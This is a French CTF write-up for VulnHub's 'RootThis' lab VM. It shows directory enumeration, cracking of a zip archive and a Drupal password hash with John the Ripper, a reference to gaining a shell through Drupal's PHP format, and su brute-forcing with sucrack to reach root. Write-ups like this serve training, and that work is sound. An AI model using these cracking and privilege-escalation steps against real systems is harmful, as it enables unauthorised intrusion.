Accueil Solution du CTF RootThis de VulnHub
Post
Annuler

Solution du CTF RootThis de VulnHub

RootThis est un CTF créé par Fred Wemeijer et proposé sur VulnHub.

On ne trouve sur la VM rien de plus que le port 80. Une énumération avec feroxbuster retourne un Drupal et un dossier backup :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ feroxbuster -u http://192.168.56.207/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -n -x php,html,zip,txt -W 32

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.207/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💢  Word Count Filter     │ 32
 💲  Extensions            │ [php, html, zip, txt]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      368l      933w    10701c http://192.168.56.207/index.html
200     1092l     6216w   270103c http://192.168.56.207/backup
200      368l      933w    10701c http://192.168.56.207/
301        9l       28w      317c http://192.168.56.207/manual
301        9l       28w      317c http://192.168.56.207/drupal
[####################] - 1m    598005/598005  0s      found:5       errors:0      
[####################] - 1m    598005/598005  5569/s  http://192.168.56.207/

Accéder à /backup nous fait télécharger un fichier backup.zip. L’archive est protégée par mot de passe. Il faut générer un hash puis le casser avec JtR :

1
2
3
4
5
6
7
8
9
10
$ zip2john backup.zip > hashes.txt
$ john --wordlist=wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
thebackup        (backup.zip/dump.sql)     
1g 0:00:00:00 DONE (2023-05-17 16:57) 2.325g/s 7601Kp/s 7601Kc/s 7601KC/s thebiker1..thanaye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

On peut alors lire le dump SQL. Je recherche toutes les occurrences de INSERT jusqu’à trouver celle qui m’intéresse :

1
2
INSERT INTO `users` VALUES (0,'','','','','',NULL,0,0,0,0,NULL,'',0,'',NULL),
  (1,'webman','$S$D48VBXSv5S.xSEjmLOyEPUL.okqerljl.gR6X7q0nyYAvymhZ4VN','webman@localhost.net','','',NULL,1543758615,1543767021,1543767021,1,'Europe/Berlin','',0,'webman@localhost.net','b:0;')

Une fois de plus je passe le hash à JtR qui trouve le password correspondant : moranguita.

Avec le compte webman je peux accéder à l’interface d’administration du Drupal.

Obtenir un shell sur ce CMS est un peu compliqué : il faut activer le format PHP, créer un block utilisant le format et autoriser le compte administrateur dessus. J’ai décrit la procédure dans la solution du CTF DC: 1.

Avec mon shell, en fouillant dans le système, je trouve un message à l’attention de root :

1
2
3
4
5
6
7
www-data@RootThis:/home/user$ cat MessageToRoot.txt 
Hi root,

Your password for this machine is weak and within the first 300 words of the rockyou.txt wordlist. Fortunately root is not accessible via ssh. Please update the password to a more secure one.

Regards,
user

Effectivement SSH n’est pas lancé sur le système. L’idée est donc de brute-forcer su ce que je n’ai jamais fait jusqu’à présent.

J’ai d’abord essayé avec GitHub - carlospolop/su-bruteforce qui est mentionné sur la page Linux Privilege Escalation - HackTricks.

Le script n’avait pas l’air de tourner correctement, je ne voyais aucune instance de su tourner en fond.

J’ai donc dû me tourner vers GitHub - hemp3l/sucrack: brute-forcing su for fun and possibly profit qui requiert d’être compilé. C’est là que ça se complique, car gcc n’est pas sur la VM.

J’ai tenté de le compiler sur mon système, mais comme ce dernier est bien plus récent et que j’avais des erreurs j’ai préféré abandonner.

Finalement j’avais une VM de Debian Jessie sous le coude. C’est une version Debian 8 (contre Debian 9) et la compilation échouait aussi, mais en changeant les versions de aclocal et automake de 1.15 à 1.14 dans le Makefile c’est passé.

1
2
3
4
5
6
7
8
9
10
11
www-data@RootThis:/tmp$ SUCRACK_SU_PATH=/bin/su ./sucrack -u root rockyou.txt 
password is: 789456123
www-data@RootThis:/tmp$ su
Password: 
root@RootThis:/tmp# cd /root/
root@RootThis:~# ls
flag.txt
root@RootThis:~# cat flag.txt 
Congratulations!

flag: a67d764105005a6a95a9c8c03bc95710bc396dccc4364704127170637b2bd39d
Cet article est sous licence CC BY 4.0 par l'auteur.